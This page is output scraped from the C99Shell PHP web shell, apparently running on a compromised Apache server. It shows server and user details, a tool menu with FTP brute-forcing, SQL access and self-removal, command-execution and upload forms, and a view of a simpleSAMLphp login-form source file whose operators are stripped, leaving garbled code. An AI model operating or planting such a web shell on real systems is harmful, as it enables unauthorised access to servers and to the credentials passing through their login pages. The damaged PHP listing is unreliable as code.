!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/3ros/simplesamlphp/modules/core/www/   drwxrwxr-x
Free 11.78 GB of 61.93 GB (19.02%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     loginuserpassorg.php (3.4 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This page shows a username/password/organization login form, and passes information from
 * itto the sspmod_core_Auth_UserPassBase class, which is a generic class for
 * username/password/organization authentication.
 *
 * @author Olav Morken, UNINETT AS.
 * @package simpleSAMLphp
 * @version $Id$
 */

if (!array_key_exists('AuthState'$_REQUEST)) {
    throw new 
SimpleSAML_Error_BadRequest('Missing AuthState parameter.');
}
$authStateId $_REQUEST['AuthState'];

/* Retrieve the authentication state. */
$state SimpleSAML_Auth_State::loadState($authStateIdsspmod_core_Auth_UserPassOrgBase::STAGEID);

$source SimpleSAML_Auth_Source::getById($state[sspmod_core_Auth_UserPassOrgBase::AUTHID]);
if (
$source === NULL) {
    throw new 
Exception('Could not find authentication source with id ' $state[sspmod_core_Auth_UserPassOrgBase::AUTHID]);
}

$organizations sspmod_core_Auth_UserPassOrgBase::listOrganizations($authStateId);

if (
array_key_exists('username'$_REQUEST)) {
    
$username $_REQUEST['username'];
} elseif (
$source->getRememberUsernameEnabled() && array_key_exists($source->getAuthId() . '-username'$_COOKIE)) {
    
$username $_COOKIE[$source->getAuthId() . '-username'];
} elseif (isset(
$state['core:username'])) {
    
$username = (string)$state['core:username'];
} else {
    
$username '';
}

if (
array_key_exists('password'$_REQUEST)) {
    
$password $_REQUEST['password'];
} else {
    
$password '';
}

if (
array_key_exists('organization'$_REQUEST)) {
    
$organization $_REQUEST['organization'];
} elseif (isset(
$state['core:organization'])) {
    
$organization = (string)$state['core:organization'];
} else {
    
$organization '';
}

$errorCode NULL;
$errorParams NULL;
if (
$organizations === NULL || !empty($organization)) {
    if (!empty(
$username) && !empty($password)) {

        if (
$source->getRememberUsernameEnabled()) {
            
$sessionHandler SimpleSAML_SessionHandler::getSessionHandler();
            
$params $sessionHandler->getCookieParams();
            
$params['expire'] = time();
            
$params['expire'] += (isset($_REQUEST['remember_username']) && $_REQUEST['remember_username'] == 'Yes' 31536000 : -300);
            
setcookie($source->getAuthId() . '-username'$username$params['expire'], $params['path'], $params['domain'], $params['secure'], $params['httponly']);
        }

        try {
            
sspmod_core_Auth_UserPassOrgBase::handleLogin($authStateId$username$password$organization);
        } catch (
SimpleSAML_Error_Error $e) {
            
/* Login failed. Extract error code and parameters, to display the error. */
            
$errorCode $e->getErrorCode();
            
$errorParams $e->getParameters();
        }
    }
}

$globalConfig SimpleSAML_Configuration::getInstance();
$t = new SimpleSAML_XHTML_Template($globalConfig'core:loginuserpass.php');
$t->data['stateparams'] = array('AuthState' => $authStateId);
$t->data['username'] = $username;
$t->data['forceUsername'] = FALSE;
$t->data['rememberUsernameEnabled'] = $source->getRememberUsernameEnabled();
$t->data['rememberUsernameChecked'] = $source->getRememberUsernameChecked();
if (isset(
$_COOKIE[$source->getAuthId() . '-username'])) $t->data['rememberUsernameChecked'] = TRUE;
$t->data['errorcode'] = $errorCode;
$t->data['errorparams'] = $errorParams;

if (
$organizations !== NULL) {
    
$t->data['selectedOrg'] = $organization;
    
$t->data['organizations'] = $organizations;
}

if (isset(
$state['SPMetadata'])) {
    
$t->data['SPMetadata'] = $state['SPMetadata'];
} else {
    
$t->data['SPMetadata'] = NULL;
}

$t->show();
exit();


?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.2788 ]--